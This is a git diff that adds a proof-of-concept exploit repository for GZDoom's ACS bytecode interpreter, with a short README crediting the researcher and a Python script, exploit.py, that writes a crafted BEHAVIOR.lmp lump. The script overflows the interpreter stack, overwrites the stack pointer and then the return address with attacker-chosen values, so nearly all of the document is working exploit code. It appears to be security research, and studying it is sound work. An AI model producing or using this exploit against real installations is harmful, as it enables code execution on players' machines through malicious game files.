5 files changed, 104 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..096c96d
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1 @@
+BEHAVIOR.lmp
+\ No newline at end of file
diff --git a/README.md b/README.md
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index 0000000..e4191d4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,10 @@
+![Bad BEHAVIOR][img_1]
+## Proof of concept exploit and research by [Jakob.][1]
+
+Exploit of GZDoom's ACS interpreter, performing an out-of-bounds write with
+maliciously-crafted ACS bytecode.
+
+
+[1]: http://jakob.space/
+
+[img_1]: https://raw.githubusercontent.com/TsarFox/bad-behavior/master/logo.png
diff --git a/example.wad b/example.wad
new file mode 100644
index 0000000..bc4d145
--- /dev/null
+++ b/example.wad
diff --git a/exploit.py b/exploit.py
new file mode 100644
index 0000000..73635c8
--- /dev/null
+++ b/exploit.py
@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+
+import os
+import struct
+import sys
+
+# ACS File Format:
+# CHUNK [4 bytes]
+# SIZE (Excluding CHUNK and SIZE) [4 bytes]
+# CONTENTS [SIZE bytes]
+
+# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte
+# opcode size range and doesn't place anything onto the stack.
+
+STACK_SIZE = 0x1000
+
+CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
+SCRIPTTAB_HEADER = [0x53, 0x50, 0x54, 0x52]
+FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]
+
+PCD_NOP = 0
+PCD_TERMINATE = 1
+PCD_PUSHNUMBER = 3
+PCD_ASSIGNSCRIPTVAR = 25
+PCD_PUSHBYTE = 167
+PCD_PUSHBYTES = 175
+PCD_PUSH5BYTES = 179
+
+# assert(sp == 0) is only compiled in DEBUG builds.
+
+# You should probably throw some debug prints into the source code,
+# finding the address of `Stack`, and the address of the return
+# address on the stack. For me, `Stack` is at an offset of 4122 before
+# the return address.
+
+# Scripts must be aligned to 32 bits.
+def align_script(code: list) -> list:
+    padding_len = len(code) + (4 - (len(code) % 4))
+    return code + [PCD_NOP * padding_len]
+
+
+if __name__ == "__main__":
+    if len(sys.argv) != 3:
+        sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0]))
+        sys.exit(1)
+
+    desired_offset = int(sys.argv[1])
+    return_address = int(sys.argv[2])
+    dest = "BEHAVIOR.lmp"
+
+    # Smash stackobj.sp
+    payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2)
+
+    # Overwrite stackobj.sp
+    payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))
+
+    # Smash the return pointer
+    least_sig = list(struct.pack("Q", return_address))[:4]
+    most_sig = list(struct.pack("Q", return_address))[4:]
+    payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig
+
+    payload.append(PCD_TERMINATE)
+    payload = align_script(payload)
+
+    payload_len = len(payload) + 4
+
+    footer_table_off = payload_len + 32 # ??
+
+
+    with open(dest, "wb+") as out:
+        # Write the code section.
+        out.write(bytes(CODE_HEADER))
+        out.write(struct.pack("I", footer_table_off))
+        out.write(bytes(payload))
+        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # Extra termination?
+
+        # Write the Script Pointer Table
+        out.write(bytes(SCRIPTTAB_HEADER))
+        # out.write(struct.pack("I", len(script_pointer_table)))
+        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # ???
+        out.write(bytes([0x01, 0x00])) # Script number
+        out.write(bytes([0x04, 0x00])) # ENTER
+        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # Start offset
+        out.write(struct.pack("I", 0x08 + payload_len)) # End offset
+
+        # Write footer table
+        out.write(bytes(FOOTTAB_HEADER))
+        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
+        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
+        out.write(struct.pack("I", footer_table_off - 28)) # Offset to SPTR - 8?
+        out.write(bytes([0x00, 0x00, 0x00, 0x00])) # ???
+
+    # print("Enjoy :3")
diff --git a/logo.png b/logo.png
new file mode 100644
index 0000000..66ea3a3
--- /dev/null
+++ b/logo.png